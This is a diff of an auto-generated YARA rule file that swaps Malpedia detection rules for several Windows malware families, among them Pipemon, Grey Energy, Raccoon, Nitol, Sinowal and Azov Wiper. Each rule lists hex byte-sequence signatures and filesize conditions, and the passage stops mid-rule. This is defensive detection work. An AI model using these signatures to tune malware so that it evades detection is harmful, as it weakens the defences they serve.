@@ -152619,32 +159721,32 @@ rule MALPEDIA_Win_Rarstar_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8a5e01 83e203 c1fb04 c1e204 }
-		$sequence_1 = { 33d2 b903000000 f7f1 83c408 8bc6 }
-		$sequence_2 = { 85ed 7e6f 8a143e 83c703 c1fa02 83e23f 41 }
-		$sequence_3 = { 0f84c1010000 8b2d???????? 8b4c2434 8b54241c 6a00 }
-		$sequence_4 = { 33db 8a940c24010000 8a5c0c24 03c2 03c3 25ff000080 }
-		$sequence_5 = { ffd6 8d84241c020000 68???????? 50 ffd6 8d8c2424040000 68???????? }
-		$sequence_6 = { 8d8c2420030000 51 52 ffd5 8d842418010000 68???????? }
-		$sequence_7 = { 899c242c030000 899c2428030000 899c2424030000 899c2420030000 bf???????? 83c9ff }
-		$sequence_8 = { f7d1 2bf9 899c2430030000 8bc1 8bf7 8bfa }
-		$sequence_9 = { 8a9405ecfdffff 8890a0d74000 eb1c f6c202 7410 8088????????20 8a9405ecfcffff }
+		$sequence_0 = { c745e4e8e24200 e9???????? 894de0 c745e4e8e24200 e9???????? }
+		$sequence_1 = { 8955e0 8b048d70ba4300 f644102801 747c }
+		$sequence_2 = { 6a20 c745e000000000 e8???????? 8bf0 83c404 8975e0 }
+		$sequence_3 = { 8b45f8 8b55f0 8b048570ba4300 807c022800 }
+		$sequence_4 = { e8???????? 8b35???????? 6a00 6880000000 6a03 6a00 6a00 }
+		$sequence_5 = { c645fc1c 50 8d4dd0 e8???????? c645fc00 8b55ec 83fa08 }
+		$sequence_6 = { 8b049570ba4300 885c012e 8b049570ba4300 804c012d04 }
+		$sequence_7 = { 8d45d8 c645fc37 50 8d4dd0 }
+		$sequence_8 = { 6bf838 894df8 8b048d70ba4300 33c9 }
+		$sequence_9 = { e8???????? 8d45d8 c645fc08 50 8d4dd0 }
 
 	condition:
-		7 of them and filesize <122880
+		7 of them and filesize <517120
 }
-rule MALPEDIA_Win_Pipemon_Auto : FILE
+rule MALPEDIA_Win_Chaperone_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fb1257dc-1899-57a8-9bb3-37873100ec17"
+		id = "5069c84b-f6f9-588d-8536-63d238bdb1de"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pipemon_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chaperone"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chaperone_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "a7cf49399560b8b73200f34644a487f3922c8589009d7d641339ef3a3238ec7b"
+		logic_hash = "9d40dc4ee44ea2fe4f6bf05be1cccf6d78aa19e4569d2284fce73479ea6dfe7a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152658,32 +159760,32 @@ rule MALPEDIA_Win_Pipemon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 418bf8 4903fe 85db 0f84a1000000 6690 49634e3c }
-		$sequence_1 = { 7516 488d05bd360100 488b4c2430 483bc8 7405 e8???????? 488b05???????? }
-		$sequence_2 = { 85c0 7427 488b4c2438 488d1526d90000 ff15???????? }
-		$sequence_3 = { b906000000 48898620020000 0fb7c0 66f3ab 488d3d2c3b0100 }
-		$sequence_4 = { 488d4c2438 e8???????? 4c8d4820 4889442420 4c8bc3 488d5590 488d4c2438 }
-		$sequence_5 = { 4881c458010000 c3 83f801 7529 b803000000 488b8c2440010000 4833cc }
-		$sequence_6 = { 458d4d02 458bc7 488d542450 488bc8 }
-		$sequence_7 = { e8???????? 4881c498000000 c3 448b442430 488d1543fe0100 33c0 488d4c2440 }
-		$sequence_8 = { ffc8 3d03010000 7734 488d44244c 488bd7 }
-		$sequence_9 = { 80bd8008000000 0f84b6010000 4d85ed 0f84b6000000 }
+		$sequence_0 = { f3a4 488dbc2458010000 488d35d6490100 b918000000 f3a4 48c784245001000000000000 83bc249002000000 }
+		$sequence_1 = { 85c9 782e 3b0d???????? 7326 4863c9 488d15f8ca0100 488bc1 }
+		$sequence_2 = { eb05 1bc0 83d8ff 85c0 0f8475010000 488d15aeaf0100 488d8c24ec040000 }
+		$sequence_3 = { 488d9424a8020000 488b4c2430 ff15???????? 81bc24a802000003010000 0f8486000000 }
+		$sequence_4 = { 751f 83bc24d001000002 7515 83bc24c801000001 720b c78424a801000005000000 83bc24c401000006 }
+		$sequence_5 = { 488d94088c020000 488b8c2438490000 e8???????? 89842444490000 83bc244449000000 }
+		$sequence_6 = { ff15???????? 488905???????? 48833d????????00 750b c78424c801000002000000 488d9424a0020000 488b8c2480030000 }
+		$sequence_7 = { 0fb702 66898424d0000000 488d9424f0020000 488d8c24d0000000 ff15???????? 488d8c24d0000000 ff15???????? }
+		$sequence_8 = { ff15???????? 66ba5c00 488d4c2440 e8???????? 4889842450020000 488b842450020000 4883c002 }
+		$sequence_9 = { 49c1fe05 4c8d3d40cc0100 83e61f 486bf658 4b8b04f7 0fbe4c3008 83e101 }
 
 	condition:
-		7 of them and filesize <389120
+		7 of them and filesize <373760
 }
-rule MALPEDIA_Win_Leouncia_Auto : FILE
+rule MALPEDIA_Win_Grey_Energy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "39b73bd1-c371-5610-827d-6193acb69151"
+		id = "4a36cbdc-dd01-583b-ac49-dd33a3c83ba9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.leouncia"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.leouncia_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grey_energy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grey_energy_auto.yar#L1-L164"
 		license_url = "N/A"
-		logic_hash = "ce0406952808d71dc84c670f24e39c297086db41d40b8ca03d26d62e66180e61"
+		logic_hash = "48bebd474d43043ec7179ca6aa1110529eaa285ee6fd70578731385cb5b6f92e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152697,32 +159799,39 @@ rule MALPEDIA_Win_Leouncia_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f3ab 8d442408 50 56 }
-		$sequence_1 = { 52 50 a1???????? 8d8c248c050000 }
-		$sequence_2 = { 83c208 8908 8b4e04 894804 8a0d???????? }
-		$sequence_3 = { ff15???????? 5f b801000000 5e 81c438040000 c3 83c9ff }
-		$sequence_4 = { c3 55 56 57 8d542410 6a10 }
-		$sequence_5 = { 83c424 33d2 33ff 85c0 7e31 }
-		$sequence_6 = { c3 8bc8 83e01f c1f905 8b0c8d60c14000 }
-		$sequence_7 = { ff2485ba504000 834df0ff 8955cc 8955d8 8955e0 8955e4 8955fc }
-		$sequence_8 = { c744241c00000000 c744241400040000 c7450000000000 e8???????? 83c404 8bf0 8d442410 }
-		$sequence_9 = { ff2485ba504000 834df0ff 8955cc 8955d8 8955e0 8955e4 }
+		$sequence_0 = { 6800000008 57 53 53 }
+		$sequence_1 = { e8???????? 68???????? 8945cc e8???????? 68???????? 8945d4 e8???????? }
+		$sequence_2 = { 53 53 6800000008 57 }
+		$sequence_3 = { 8945d4 e8???????? 68???????? 8945d0 e8???????? }
+		$sequence_4 = { 0345f0 0fbe08 8b45f0 33d2 }
+		$sequence_5 = { 81e1ff000000 8b45ec 8b55f8 66890c42 }
+		$sequence_6 = { 8b45f8 0345ec 8808 eb10 }
+		$sequence_7 = { 8b55f0 8b7508 668b1456 66891441 }
+		$sequence_8 = { 66890c42 eb14 8b45ec 8b4df8 }
+		$sequence_9 = { 53 ff15???????? 8b75f8 85f6 }
+		$sequence_10 = { 8b4d08 0fb70c41 8b45f0 33d2 }
+		$sequence_11 = { 50 6a40 ff15???????? 8945f8 837df800 7507 }
+		$sequence_12 = { 837df800 7507 33c0 e9???????? c745f004000000 }
+		$sequence_13 = { 7407 c60100 41 48 75f9 ff75f8 }
+		$sequence_14 = { 48 75fa 56 ff15???????? ff75f8 }
+		$sequence_15 = { 57 ff75e8 ff75f0 ffd6 }
+		$sequence_16 = { e8???????? 8b4508 3bc7 7430 57 }
 
 	condition:
-		7 of them and filesize <114688
+		7 of them and filesize <303104
 }
-rule MALPEDIA_Win_Prilex_Auto : FILE
+rule MALPEDIA_Win_Webc2_Cson_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "33d37f97-5d7f-5370-b6c1-4299d7c65706"
+		id = "9e77cd9b-5577-55ec-9bc9-fce8ae6111d5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prilex"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.prilex_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_cson"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_cson_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "3845b326ac2cf1def622498895bf69526e3d4fb73889990b08fc4c5071c0498b"
+		logic_hash = "7c0e799e7902791c334e5b7573181538432e1af2060bac92fa55c2a280799f66"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152736,32 +159845,32 @@ rule MALPEDIA_Win_Prilex_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8be8 ffd7 8d442410 8d4c2414 }
-		$sequence_1 = { 8b0f 51 ff15???????? 8945e4 68???????? }
-		$sequence_2 = { 8d442424 6a0c 8b11 50 52 56 }
-		$sequence_3 = { e8???????? 5d 8d4c2420 8d542414 51 }
-		$sequence_4 = { ff15???????? c745fc02000000 8b4510 33c9 833800 0f95c1 }
-		$sequence_5 = { 8d858cfdffff 52 8d8d9cfdffff 50 51 }
-		$sequence_6 = { 83c104 898d24ffffff c7851cffffff03400000 8d951cffffff 52 8d458c 50 }
-		$sequence_7 = { 8d8dacfdffff 68???????? 52 898d54fdffff c7854cfdffff08400000 }
-		$sequence_8 = { e8???????? 8bf0 ff15???????? 8d45ac }
-		$sequence_9 = { ffd6 50 8d4da0 68???????? 51 ffd6 }
+		$sequence_0 = { e8???????? 8d85f0feffff 50 e8???????? 6a1e 8db5f6feffff 59 }
+		$sequence_1 = { be???????? 8dbd74ffffff 6a0a f3a5 a4 be???????? 56 }
+		$sequence_2 = { 50 e8???????? 59 59 ff7508 8d85acfcffff 50 }
+		$sequence_3 = { e8???????? 59 59 68???????? ff15???????? 53 bf???????? }
+		$sequence_4 = { 83c410 85ff 743f 85c0 743b 2bc7 }
+		$sequence_5 = { 8bec 81ec54030000 53 56 8b35???????? 57 33db }
+		$sequence_6 = { 83f803 0f859c010000 53 53 53 53 }
+		$sequence_7 = { 8d7d81 885d80 f3ab 66ab aa 6a0f 33c0 }
+		$sequence_8 = { 8bec 81ec3c060000 53 56 be04010000 }
+		$sequence_9 = { 5e 5b c9 c20400 c605????????01 be00900100 6800040000 }
 
 	condition:
-		7 of them and filesize <450560
+		7 of them and filesize <98304
 }
-rule MALPEDIA_Win_Raccoon_Auto : FILE
+rule MALPEDIA_Win_Nitol_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4a27386e-afe9-5aa0-b437-cb8672f32902"
+		id = "198cac67-df3a-5f33-8def-8dcd3146a557"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.raccoon_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nitol_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "744c135940d1e7204980afbdf51c2b964c1deff72c5358a0844976025962517f"
+		logic_hash = "e9d7d8e217f108c3161acd931dc4e0ba15adf22ad1ef941917cfc7f75a6244b1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152775,32 +159884,32 @@ rule MALPEDIA_Win_Raccoon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bf0 8975f0 85f6 7422 8d45ec c706???????? }
-		$sequence_1 = { e8???????? 68???????? eb31 51 }
-		$sequence_2 = { 8b45e8 3bc6 7c31 7f04 3bde 762b }
-		$sequence_3 = { 53 50 8d45e0 895dd0 }
-		$sequence_4 = { ff15???????? 8945f4 40 03c7 50 8945f0 }
-		$sequence_5 = { ff15???????? 8bf0 83feff 7437 837b1410 7202 8b1b }
-		$sequence_6 = { 8d45ec c706???????? 50 53 ff75e4 895dec ff15???????? }
-		$sequence_7 = { 57 33db 8bf9 53 6aff 53 }
-		$sequence_8 = { 6a01 52 52 52 52 }
-		$sequence_9 = { 0f85dd000000 57 57 57 57 8d45fc }
+		$sequence_0 = { 8945d0 885dd4 c645d506 ffd6 668945d6 }
+		$sequence_1 = { 50 ff15???????? 6860ea0000 8945f8 66895de8 e8???????? 59 }
+		$sequence_2 = { ff742430 ffd7 8d442430 55 50 53 56 }
+		$sequence_3 = { 7424 48 0f85c0fdffff 6a01 }
+		$sequence_4 = { 8b35???????? 833d????????01 7465 ffd6 6a0a 99 59 }
+		$sequence_5 = { 8bf8 8bcf 8b07 ff5068 85c0 8945ec 7457 }
+		$sequence_6 = { 7524 8d8594feffff 50 8d8514ffffff 50 8d8514faffff 68???????? }
+		$sequence_7 = { 7419 4a 7416 4a 7406 c6043778 eb1b }
+		$sequence_8 = { 53 ff15???????? e9???????? 6a40 33c0 }
+		$sequence_9 = { ff15???????? 53 8d8df8fcffff 6a0a }
 
 	condition:
-		7 of them and filesize <1212416
+		7 of them and filesize <139264
 }
-rule MALPEDIA_Win_Freenki_Auto : FILE
+rule MALPEDIA_Win_Virtualgate_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "96c9c22a-8c0f-508a-9c8b-2adc585b1381"
+		id = "5ab8135e-3bbe-5abd-acc2-717daf53613e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.freenki"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.freenki_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virtualgate"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.virtualgate_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "ea73b0cd02f4881d245e91a02d5574d630e230bb3618aadd7337accb2e33b167"
+		logic_hash = "5ca5297d10bab80aa59720f493a7b89d0ffff3ac0eaaf62e59c4e5ea64ea6f84"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152814,32 +159923,32 @@ rule MALPEDIA_Win_Freenki_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83e03f 6bc830 8b049578394200 c644082801 897de4 c745fcfeffffff }
-		$sequence_1 = { 57 e8???????? 83c404 ff75f8 e8???????? 8bf8 }
-		$sequence_2 = { f7d9 0bc8 51 53 e8???????? ffb504e7ffff 8bd8 }
-		$sequence_3 = { 68???????? 50 ff5110 8b55b8 8b4dcc 2bd1 0f1f440000 }
-		$sequence_4 = { 6bd830 8b04bd78394200 f644032801 7444 837c0318ff 743d e8???????? }
-		$sequence_5 = { e8???????? 8b3d???????? 33db 0f1f8000000000 8d853cd4ffff 50 }
-		$sequence_6 = { 64a300000000 8bf1 89b5e4edffff 33c0 c785c0edffff00000000 }
-		$sequence_7 = { 6bce4c 53 0f100419 0f1100 e8???????? 8b4dfc 83c404 }
-		$sequence_8 = { 68???????? ffb5e0f9ffff ff15???????? f7d8 5e }
-		$sequence_9 = { dd00 ebc6 c745e0b8de4100 e9???????? c745e0c0de4100 e9???????? }
+		$sequence_0 = { 4157 4883ec38 4c63e9 488bf2 498bc5 488d0dc7f10000 }
+		$sequence_1 = { 4b8794fed02a0200 eb2d 4c8b15???????? ebb8 4c8b15???????? 418bc2 b940000000 }
+		$sequence_2 = { 8d58b0 498bce 448bc3 488d1580bd0000 e8???????? 85c0 7429 }
+		$sequence_3 = { ff15???????? c705????????00001000 eb26 4183f802 }
+		$sequence_4 = { 488bc8 ff15???????? 3b05???????? 488bcb 89442450 7608 }
+		$sequence_5 = { 48894527 498bc0 48ffc0 41381407 75f7 498bc8 48ffc1 }
+		$sequence_6 = { 4c8d05b4d30000 488d15b1d30000 e8???????? 4885c0 7416 }
+		$sequence_7 = { 488bf5 4803d2 498b94d750b50100 e8???????? 85c0 }
+		$sequence_8 = { 4c8d058dbe0100 488bd5 48c1fa06 4c893403 488bc5 }
+		$sequence_9 = { 488b8c2420800200 4833cc e8???????? 488b9c2450800200 }
 
 	condition:
-		7 of them and filesize <327680
+		7 of them and filesize <323584
 }
-rule MALPEDIA_Win_Credraptor_Auto : FILE
+rule MALPEDIA_Win_Kivars_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "744ed2ca-2dde-53b2-b19d-4369cb84cbb1"
+		id = "81082c3d-5064-55a3-8cee-83fb88e85d6c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.credraptor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.credraptor_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kivars"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kivars_auto.yar#L1-L170"
 		license_url = "N/A"
-		logic_hash = "751cbf31cf2ad7ebff2dead521605a0ec12dc4ff6ec97fefa5bfc3c13ba5bce0"
+		logic_hash = "57db268647853b0be399381edf4cd6dc1a86ac28f0c0a8c22aae4b45830a7fb0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152853,32 +159962,38 @@ rule MALPEDIA_Win_Credraptor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { bb???????? 8bf8 e8???????? 8945fc 8b45f8 83c408 85c0 }
-		$sequence_1 = { c6402597 895028 8b5120 89502c 8bce 8bc3 e8???????? }
-		$sequence_2 = { 8d4db4 e8???????? 85c0 754b 8d55b4 52 e8???????? }
-		$sequence_3 = { b800020000 660bc8 8b45f8 5f 894604 894624 66894e1c }
-		$sequence_4 = { a900050000 7565 837b1c00 745f 8b4df8 8b5110 52 }
-		$sequence_5 = { 8b8e14020000 8975f0 895df8 e8???????? 8bf8 83c404 897dfc }
-		$sequence_6 = { 8db5c8fdffff e8???????? 85c0 7430 8b8dccfdffff 8b7f0c 8b95c8fdffff }
-		$sequence_7 = { 894d94 8bff 8a01 dd8574ffffff dd05???????? 3c25 7409 }
-		$sequence_8 = { c7461000000000 53 c60600 e8???????? 83c404 807f4100 8bdf }
-		$sequence_9 = { bb07000000 85ff 7439 ba60240000 6685571c 7409 57 }
+		$sequence_0 = { c705????????00000000 c644245423 c744245002000000 488d4c2450 e8???????? }
+		$sequence_1 = { 8d542440 8944244c 894c243c 6a14 }
+		$sequence_2 = { 8d8c247c010000 51 e8???????? 83c404 33c0 5f 5e }
+		$sequence_3 = { 44894c2420 4c89442418 89542410 48894c2408 4881eca8000000 488b05???????? }
+		$sequence_4 = { ff15???????? 8bc8 8d7308 83e908 8dbc2492000000 8bd1 }
+		$sequence_5 = { 4889842470020000 ff15???????? 89842430020000 c784242002000001000000 c784242c02000002000000 c64424707d }
+		$sequence_6 = { 755d 4c8b8424e0050000 488d942460020000 488d8c2450010000 e8???????? }
+		$sequence_7 = { 4883c005 4889442428 488b842470100000 4883c009 }
+		$sequence_8 = { 894c2430 89442444 894c2434 89442448 894c2438 8d542440 8944244c }
+		$sequence_9 = { 488d942440010000 488d4c2430 e8???????? 8b442434 83e001 85c0 }
+		$sequence_10 = { 50 8b4d18 51 8d5514 }
+		$sequence_11 = { 7476 eb09 80fb3d 0f8489000000 0fbe5c2412 c0e202 8a5c1c14 }
+		$sequence_12 = { 488bc8 ff15???????? 8b842460110000 ffc0 }
+		$sequence_13 = { 83fffe 741b 83ffff 0f858c000000 8d8c247c010000 }
+		$sequence_14 = { 8bf0 83c609 33ff 6a74 897c2414 e8???????? 83c404 }
+		$sequence_15 = { 48894c2408 4881ec68030000 48c7842448030000feffffff 488d8c2430010000 e8???????? }
 
 	condition:
-		7 of them and filesize <1728512
+		7 of them and filesize <196608
 }
-rule MALPEDIA_Win_Kwampirs_Auto : FILE
+rule MALPEDIA_Win_Sinowal_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "25decd9c-07db-5eba-ac2c-8b87bfe95cdd"
+		id = "31384acf-e07e-5abe-adce-b44a77e374ec"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kwampirs_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sinowal"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sinowal_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "6b54d71a60f0765ea0fd29b4cf202a2af753cd8f92ae599bc00fdafc2b919f65"
+		logic_hash = "42d79ca235acd4d3a743286e206901b01ddea7a50a0ec3cebf0e0027f96ae13f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152892,32 +160007,32 @@ rule MALPEDIA_Win_Kwampirs_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 8d45f0 64a300000000 8965e8 8bf9 33db }
-		$sequence_1 = { e8???????? b001 8b4df0 64890d00000000 59 }
-		$sequence_2 = { 51 e8???????? 83c404 a3???????? 33f6 }
-		$sequence_3 = { 3bf3 7642 56 e8???????? 8907 }
-		$sequence_4 = { 668955f4 33d2 668955f6 e8???????? 83c40c }
-		$sequence_5 = { c3 32c0 8b4df0 64890d00000000 59 }
-		$sequence_6 = { 8d4df0 51 68???????? e8???????? 83c40c 32c0 }
-		$sequence_7 = { 6a00 6800001000 6a03 6a00 }
-		$sequence_8 = { 83c404 8a45e7 8b4df0 64890d00000000 59 5f }
-		$sequence_9 = { 33c5 50 8d45f0 64a300000000 8965e8 8bf9 33db }
+		$sequence_0 = { 8d95bcfdffff 52 e8???????? 83c40c c745f000000000 }
+		$sequence_1 = { 8b450c 8b4d08 8d5401ff 8955fc eb12 8b4508 83c001 }
+		$sequence_2 = { c745f400000000 c745f800000000 8b4510 8945fc 8b4510 33d2 b908000000 }
+		$sequence_3 = { 6a00 8b45f8 50 ff15???????? 8b45f4 }
+		$sequence_4 = { 8b0495d0669600 2500000080 8b4df8 8b148dd4669600 81e2ffffff7f 0bc2 }
+		$sequence_5 = { 8945d8 c745e400000000 c745fc00000000 68???????? }
+		$sequence_6 = { 837d0800 7406 837d0c00 7502 eb64 8b450c }
+		$sequence_7 = { 89048dd0669600 8b55fc 8b45fc 8b0c85d0669600 890c95d0669600 8b55fc }
+		$sequence_8 = { 890d???????? c705????????00000000 a1???????? 8b0c85d0669600 894dfc }
+		$sequence_9 = { c745f400000000 c745f800000000 c745fc00000000 837d0800 7416 837d0c00 7410 }
 
 	condition:
-		7 of them and filesize <2695168
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Miragefox_Auto : FILE
+rule MALPEDIA_Win_Avzhan_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7d7cd6d5-44d9-5ffc-a5c9-9ff4ba40c5bc"
+		id = "ae24c209-0bbe-565c-a4e8-dc5e113ea302"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miragefox"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.miragefox_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avzhan"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.avzhan_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "f8d9e523d9895537a03eee9c6c67877c75001719916af13d5bd2cc1c1b329b5b"
+		logic_hash = "e5753cf0528c1786d65aca4559b3855c06a602b71f8830b1dc3d077867894002"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152931,71 +160046,71 @@ rule MALPEDIA_Win_Miragefox_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 50 c6450805 e8???????? be1c810000 8d4508 56 }
-		$sequence_1 = { 7509 0fb68340f62a00 eb02 8bc3 5b c9 c3 }
-		$sequence_2 = { 8985f07fffff 6a00 0f94c0 83c023 8885ec7fffff 8d85e0f7feff }
-		$sequence_3 = { 7417 8bf9 c1ff05 83e11f 8b3cbd20f52a00 }
-		$sequence_4 = { 57 e8???????? 8d4604 6a19 }
-		$sequence_5 = { 6a00 50 e8???????? 8b4510 83c40c 8985147cffff }
-		$sequence_6 = { 6802800000 8d8520010000 53 50 e8???????? 8b4510 83c418 }
-		$sequence_7 = { 6800400000 50 ff75fc ff15???????? 8b8514010000 2b75f4 }
-		$sequence_8 = { b820080100 e8???????? 53 56 ff7518 6a00 6a01 }
-		$sequence_9 = { e8???????? 834dfcff 8d4dec e8???????? e9???????? bf18800000 }
+		$sequence_0 = { f3aa 8b3d???????? 833d????????01 7418 }
+		$sequence_1 = { 75e8 6a14 ff15???????? 833d????????01 75d2 }
+		$sequence_2 = { 8bf0 8dbc2404020000 83c9ff 33c0 83c408 f2ae }
+		$sequence_3 = { 68???????? 51 ff15???????? 8b2d???????? 8b1d???????? b910000000 }
+		$sequence_4 = { 8d442464 52 50 e8???????? 83c404 50 e8???????? }
+		$sequence_5 = { 6a00 6a00 6a00 6a00 6a00 8d8c2418020000 6a00 }
+		$sequence_6 = { 83c408 f2ae f7d1 6a00 51 8d8c2404020000 51 }
+		$sequence_7 = { 8bc3 83c408 c1e010 668bc3 8b1d???????? c1e902 }
+		$sequence_8 = { 6a00 51 6a00 ffd5 85c0 }
+		$sequence_9 = { 51 8d842484010000 52 50 }
 
 	condition:
-		7 of them and filesize <286720
+		7 of them and filesize <122880
 }
-rule MALPEDIA_Win_Azov_Wiper_Auto : FILE
+rule MALPEDIA_Win_Unidentified_061_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "76e58a84-2854-5930-bc99-d7f7733110e9"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.azov_wiper"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.azov_wiper_auto.yar#L1-L118"
+		id = "59888b60-a3e6-5e9f-a441-429646fe0731"
+		date = "2023-07-11"
+		modified = "2023-07-15"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_061"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_061_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "b6d671c16b8dc6a9d2872e0b93ec5fc03d8fe956d8f9494205bfd799936a0b79"
+		logic_hash = "ee3ce5b6c77f09c690f7a934c26be09c58c4fcdee70275b61c00e527d8aa097d"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
+		malpedia_rule_date = "20230705"
+		malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41"
+		malpedia_version = "20230715"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4c8bc8 4885c0 7455 488d442440 }
